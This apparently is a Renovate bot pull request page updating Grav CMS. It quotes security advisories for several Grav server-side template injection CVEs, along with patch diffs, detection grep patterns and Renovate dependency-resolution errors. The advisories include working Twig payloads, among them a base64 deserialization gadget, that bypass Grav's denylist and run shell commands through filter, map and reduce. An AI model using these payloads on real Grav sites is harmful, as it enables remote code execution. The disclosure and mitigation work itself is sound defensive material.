    // {{ 'TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aTowO319czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czozOiJwb3MiO2k6MTtzOjY6InN5c3RlbSI7fX0=' | base64_decode | array | filter('unserialize') }}
    
    // Method 2: Trigger system('id') via case-insensitive function names
    {{ ['id'] | filter('System') }}
    
    // Method 3: Trigger system('id') via fully qualified names when referencing functions
    {{ ['id'] | filter('\\system') }}
  7. Click the Preview button. Observe that the output of the id shell command is returned in the preview.

Suggested Mitigations:

It is recommended to review the list of functions, both default functions in PHP and user-defined functions, and include missing unsafe functions in the denylist. A non-exhaustive list of missing unsafe functions discovered is shown below:

  • unserialize()
  • ini_alter()
  • simplexml_load_file()
  • simplexml_load_string()
  • forward_static_call()
  • forward_static_call_array()

The Utils::isDangerousFunction() function in /system/src/Grav/Common/Utils.php should also be patched to disallow usage of fully qualified names when specifying callables, as well as ensure that validation performed on the $name parameter is case-insensitive.

For example,

...
abstract class Utils
{
    ...
    /**
     * @&#8203;param string $name
     * @&#8203;return bool
     */
    public static function isDangerousFunction(string $name): bool
    {
        ...
+       if ($arrow instanceof Closure) {
+           return false;
+       }

+       $name = strtolower($name);
+       if (strpos($name, "\\") !== false) {
+           return false;
+       }

        if (in_array($name, $commandExecutionFunctions)) {
            return true;
        }

        if (in_array($name, $codeExecutionFunctions)) {
            return true;
        }

        if (isset($callbackFunctions[$name])) {
            return true;
        }

        if (in_array($name, $informationDiscosureFunctions)) {
            return true;
        }

        if (in_array($name, $otherFunctions)) {
            return true;
        }

        return static::isFilesystemFunction($name);
    }
    ...
}

End users should also ensure that twig.undefined_functions and twig.undefined_filters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.

Detection Guidance:

The following strategies may be used to detect potential exploitation attempts.

  1. Searching within Markdown pages using the following shell command:
    grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' /path/to/webroot/user/pages/
  2. Searching within Doctrine cache data using the following shell command:
    grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/
  3. Searching within Twig cache using the following shell command:
    grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|twig_array_(filter|map|reduce))\s*\(' /path/to/webroot/cache/twig/
  4. Searching within compiled Twig template files using the following shell command:
    grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' /path/to/webroot/cache/compiled/files/

Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at /path/to/webroot/logs/grav.log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.

Credits:

Ngo Wei Lin (@​Creastery) & Wang Hengyue (@​w_hy_04) of STAR Labs SG Pte. Ltd. (@​starlabs_sg)

The scheduled disclosure date is 25th July, 2023. Disclosure at an earlier date is also possible if agreed upon by all parties.

Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:

  1. CVE-2023-30592
    Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of unsafe functions, such as unserialize(), that are not blocked. This is a bypass of CVE-2022-2073.
  2. CVE-2023-30593
    Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of capitalised names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.
  3. CVE-2023-30594
    Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of fully-qualified names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.

CVE-2023-34448

Hi,

actually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.

Grav Server-side Template Injection (SSTI) via Twig Default Filters

Summary:

Product Grav CMS
Vendor Grav
Severity High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution
Affected Versions <= v1.7.40 (Commit 685d762) (Latest version as of writing)
Tested Versions v1.7.40
Internal Identifier STAR-2023-0008
CVE Identifier TBD
CWE(s) CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

CVSS3.1 Scoring System:

Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) High
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.

Vulnerability Summary:

The patch for CVE-2022-2073, a server-side template injection vulnerability in Grav leveraging the default filter() function, did not block other built-in functions exposed by Twig's Core Extension that could be used to invoke arbitrary unsafe functions, thereby allowing for remote code execution.

Vulnerability Details:

Twig comes with an extension known as the Core Extension that is enabled by default when initialising a new Twig environment. Twig's Core Extension provides multiple built-in filters, such as the filter() function, which can be used in Twig templates.

CVE-2022-2073 leverages the default filter() filter function in Twig to invoke arbitrary unsafe functions. This was patched by overriding the default filter() filter function in commit 9d6a2d of Grav v1.7.34 to perform validation checks on the arguments passed to filter():

...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
    ...
    public function getFilters(): array
    {
        return [
            ...
            // Security fix
+           new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),
        ];
    }
    
    ...

+   /**
+    * @&#8203;param Environment $env
+    * @&#8203;param array $array
+    * @&#8203;param callable|string $arrow
+    * @&#8203;return array|CallbackFilterIterator
+    * @&#8203;throws RuntimeError
+    */
+   function filterFilter(Environment $env, $array, $arrow)
+   {
+       if (is_string($arrow) && Utils::isDangerousFunction($arrow)) {
+           throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
+       }
+
+       return \twig_array_filter($env, $array, $arrow);
+   }
}

However, looking at the source code of /src/Extension/CoreExtension.php of Twig, alternative default Twig filters could also be used invoke arbitrary functions:

...
class CoreExtension extends AbstractExtension
{
    ...
    public function getFilters(): array
    {
        return [
            ...
            // array helpers
            ...
            new TwigFilter('filter', 'twig_array_filter', ['needs_environment' => true]), // unsafe
            new TwigFilter('map', 'twig_array_map', ['needs_environment' => true]), // unsafe
            new TwigFilter('reduce', 'twig_array_reduce', ['needs_environment' => true]), // unsafe
        ];
    }

The three filter functions above respectively call array_filter(), array_map() and array_reduce(). Since only filter() is being overriden by Grav to ensure that the callable passed to filter() does not result in the invocation of an unsafe function, the other two functions (i.e. map() and reduce()) could be used by an authenticated attacker that is able to inject and render malicious templates to gain remote code execution.

Exploit Conditions:

This vulnerability can be exploited if the attacker has access to:

  1. an administrator account, or
  2. a non-administrator, user account that are granted the following permissions:
    • login access to Grav admin panel, and
    • page creation or update rights

Reproduction Steps:

  1. Log in to Grav Admin using an administrator account.
  2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user:
    • Login to Admin - Allowed
    • Page Update - Allowed
  3. Log out of Grav Admin, and log back in using the account created in step 2.
  4. Navigate to http://<grav_installation>/admin/pages/home.
  5. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage.
  6. Under the Content tab, insert the following payload within the editor:
    {{ ['id'] | map('system') }}
    {{ ['id'] | reduce('system') }}
  7. Click the Preview button. Observe that the output of the id shell command is returned in the preview.

Suggested Mitigations:

Override the built-in Twig map() and reduce() filter functions in system/src/Grav/Common/Twig/Extension/GravExtension.php to validate the argument passed to the filter in $arrow.

For example:

...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
    ...
    public function getFilters(): array
    {
        return [
            ...
            // Security fix
            new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),
+           new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+           new TwigFilter('reduce', [$this, 'reduceFilter'], ['needs_environment' => true]),
        ];
    }

    ...
+   /**
+    * @&#8203;param Environment $env
+    * @&#8203;param array $array
+    * @&#8203;param callable|string $arrow
+    * @&#8203;return array|CallbackFilterIterator
+    * @&#8203;throws RuntimeError
+    */
+   function mapFilter(Environment $env, $array, $arrow)
+   {
+       if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
+           throw new RuntimeError('Twig |map("' . $arrow . '") is not allowed.');
+       }
+
+       return \twig_array_map($env, $array, $arrow);
+   }
+ 
+   /**
+    * @&#8203;param Environment $env
+    * @&#8203;param array $array
+    * @&#8203;param callable|string $arrow
+    * @&#8203;return array|CallbackFilterIterator
+    * @&#8203;throws RuntimeError
+    */
+   function reduceFilter(Environment $env, $array, $arrow)
+   {
+       if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
+           throw new RuntimeError('Twig |reduce("' . $arrow . '") is not allowed.');
+       }
+
+       return \twig_array_reduce($env, $array, $arrow);
+   }
}

Detection Guidance:

The following strategies may be used to detect potential exploitation attempts.

  1. Searching within Markdown pages using the following shell command:
    grep -Priz -e '\|\s*(map|reduce)\s*\(' /path/to/webroot/user/pages/
  2. Searching within Doctrine cache data using the following shell command:
    grep -Priz -e '\|\s*(map|reduce)\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/
  3. Searching within Twig cache using the following shell command:
    grep -Priz -e 'twig_array_(map|reduce)' /path/to/webroot/cache/twig/
  4. Searching within compiled Twig template files using the following shell command:
    grep -Priz -e '\|\s*(map|reduce)\s*\(' /path/to/webroot/cache/compiled/files/

Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at /path/to/webroot/logs/grav.log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.

Credits:

Ngo Wei Lin (@​Creastery) & Wang Hengyue (@​w_hy_04) of STAR Labs SG Pte. Ltd. (@​starlabs_sg)

Vulnerability Disclosure:

This vulnerability report is subject to a 120 day disclosure deadline as per STAR Labs SG Pte. Ltd.'s Vulnerability Disclosure Policy. After 120 days have elapsed, the vulnerability report will be published to the public by STAR Labs SG Pte. Ltd. (STAR Labs).

The scheduled disclosure date is 25th July, 2023. Disclosure at an earlier date is also possible if agreed upon by all parties.

Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:

  1. CVE-2023-30596
    Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in GravExtension.filterFilter() and to achieve remote code execution via Twig's default filters map() and reduce(). This is a bypass of CVE-2022-2073.

CVE-2023-37897

Summary

The fix for SSTI using |map, |filter and |reduce twigs implemented in the commit 71bbed1 introduces bypass of the denylist due to incorrect return value from isDangerousFunction(), which allows to execute the payload prepending double backslash (\\)

Details

The isDangerousFunction() check in version 1.7.42 and onwards retuns false value instead of true when the \ symbol is found in the $name.

...
        if (strpos($name, "\\") !== false) {
            return false;
        }

        if (in_array($name, $commandExecutionFunctions)) {
            return true;
        }
...

Based on the code where the function is used, it is expected that any dangerous condition would return true

    /**
     * @&#8203;param Environment $env
     * @&#8203;param array $array
     * @&#8203;param callable|string $arrow
     * @&#8203;return array|CallbackFilterIterator
     * @&#8203;throws RuntimeError
     */
    function mapFunc(Environment $env, $array, $arrow)
    {
        if (!$arrow instanceof \Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
            throw new RuntimeError('Twig |map("' . $arrow . '") is not allowed.');
	}

when |map('\system') is used in the malicious payload, the single backslash is dropped prior to reaching strpos($name, '\\') check, thus $name variable already has no backslash, and the command is blacklisted because it reaches the if (in_array($name, $commandExecutionFunctions)) { validation step.

However if |map('\\system') is used (i.e. double backslash), then the strpos($name, "\\") !== false takes effect, and isDangerousFunction() returns false , in which case the RuntimeError is not generated, and blacklist is bypassed leading to code execution.

Exploit Conditions

This vulnerability can be exploited if the attacker has access to:

  1. an Administrator account, or
  2. a non-administrator, user account that has Admin panel access and Create/Update page permissions

Steps to reproduce

  1. Log in to Grav Admin using an administrator account.
  2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user:
    • Login to Admin - Allowed
    • Page Update - Allowed
  3. Log out of Grav Admin
  4. Login using the account created in step 2.
  5. Choose Pages -> Home
  6. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage.
  7. Under the Content tab, insert the following payload within the editor:
    {{ ['id'] | map('\\system') | join() }}
  8. Click the Preview button. Observe that the output of the id shell command is returned in the preview.

Mitigation

diff --git a/system/src/Grav/Common/Utils.php b/system/src/Grav/Common/Utils.php
index 2f121bbe3..7b267cd0f 100644
--- a/system/src/Grav/Common/Utils.php
+++ b/system/src/Grav/Common/Utils.php
@&#8203;@&#8203; -2069,7 +2069,7 @&#8203;@&#8203; abstract class Utils
         }
 
         if (strpos($name, "\\") !== false) {
-            return false;
+            return true;
         }
 
         if (in_array($name, $commandExecutionFunctions)) {
                                                                         

CVE-2024-27923

Summary

  • Due to insufficient permission verification, user who can write a page use frontmatter feature.
  • Inadequate File Name Validation

Details

  1. Insuff

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Mar 14, 2022
@renovate renovate bot force-pushed the renovate/packagist-getgrav/grav-vulnerability branch from cb0a022 to fab3721 Compare June 18, 2022 15:58
@renovate renovate bot changed the title Update dependency getgrav/grav to v1.7.31 [SECURITY] Update dependency getgrav/grav to v1.7.33 [SECURITY] Jun 18, 2022
@renovate renovate bot force-pushed the renovate/packagist-getgrav/grav-vulnerability branch from fab3721 to b1d36b4 Compare September 25, 2022 16:02
@renovate renovate bot changed the title Update dependency getgrav/grav to v1.7.33 [SECURITY] Update dependency getgrav/grav to v1.7.34 [SECURITY] Sep 25, 2022
@renovate renovate bot force-pushed the renovate/packagist-getgrav/grav-vulnerability branch from b1d36b4 to b9fecae Compare March 16, 2023 20:07
@renovate renovate bot force-pushed the renovate/packagist-getgrav/grav-vulnerability branch from b9fecae to 75168c9 Compare June 16, 2023 19:36
@renovate renovate bot changed the title Update dependency getgrav/grav to v1.7.34 [SECURITY] Update dependency getgrav/grav to v1.7.42 [SECURITY] Jun 16, 2023
@renovate renovate bot force-pushed the renovate/packagist-getgrav/grav-vulnerability branch from 75168c9 to 73055d9 Compare February 21, 2024 08:59
Copy link
Contributor Author

renovate bot commented Feb 21, 2024

⚠ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: composer.lock
Command failed: composer update getgrav/grav:1.7.45 --with-dependencies --ignore-platform-req='ext-*' --ignore-platform-req='lib-*' --no-ansi --no-interaction --no-scripts --no-autoloader --no-plugins
Loading composer repositories with package information
Updating dependencies
Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Root composer.json requires codeception/codeception 5.1.0 (exact version match: 5.1.0 or 5.1.0.0), found codeception/codeception[5.1.0] but the package is fixed to 4.1.22 (lock file version) by a partial update and that version does not match. Make sure you list it as an argument for the update command.

Use the option --with-all-dependencies (-W) to allow upgrades, downgrades and removals for packages currently locked to specific versions.

@renovate renovate bot force-pushed the renovate/packagist-getgrav/grav-vulnerability branch from 73055d9 to fa783a6 Compare March 6, 2024 21:00
@renovate renovate bot changed the title Update dependency getgrav/grav to v1.7.42 [SECURITY] Update dependency getgrav/grav to v1.7.43 [SECURITY] Mar 6, 2024
@renovate renovate bot force-pushed the renovate/packagist-getgrav/grav-vulnerability branch from fa783a6 to 455187d Compare March 22, 2024 21:14
@renovate renovate bot changed the title Update dependency getgrav/grav to v1.7.43 [SECURITY] Update dependency getgrav/grav to v1.7.45 [SECURITY] Mar 22, 2024
@renovate renovate bot changed the title Update dependency getgrav/grav to v1.7.45 [SECURITY] Update dependency getgrav/grav to v1.7.45 [SECURITY] - autoclosed Apr 3, 2024
@renovate renovate bot closed this Apr 3, 2024
@renovate renovate bot deleted the renovate/packagist-getgrav/grav-vulnerability branch April 3, 2024 13:26
@renovate renovate bot changed the title Update dependency getgrav/grav to v1.7.45 [SECURITY] - autoclosed Update dependency getgrav/grav to v1.7.45 [SECURITY] Apr 3, 2024
@renovate renovate bot reopened this Apr 3, 2024
@renovate renovate bot restored the renovate/packagist-getgrav/grav-vulnerability branch April 3, 2024 16:05
@renovate renovate bot force-pushed the renovate/packagist-getgrav/grav-vulnerability branch from 455187d to c46bd3d Compare April 3, 2024 16:05
@renovate renovate bot force-pushed the renovate/packagist-getgrav/grav-vulnerability branch from c46bd3d to c104c94 Compare May 15, 2024 18:10
@renovate renovate bot changed the title Update dependency getgrav/grav to v1.7.45 [SECURITY] Update dependency getgrav/grav to v1.7.46 [SECURITY] May 15, 2024
Copy link
Contributor Author

renovate bot commented May 15, 2024

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: composer.lock
Command failed: composer update getgrav/grav:1.7.46 --with-dependencies --ignore-platform-req='ext-*' --ignore-platform-req='lib-*' --no-ansi --no-interaction --no-scripts --no-autoloader --no-plugins
Loading composer repositories with package information
Updating dependencies
Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Root composer.json requires codeception/codeception 5.1.0 (exact version match: 5.1.0 or 5.1.0.0), found codeception/codeception[5.1.0] but the package is fixed to 4.1.22 (lock file version) by a partial update and that version does not match. Make sure you list it as an argument for the update command.

Use the option --with-all-dependencies (-W) to allow upgrades, downgrades and removals for packages currently locked to specific versions.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

0 participants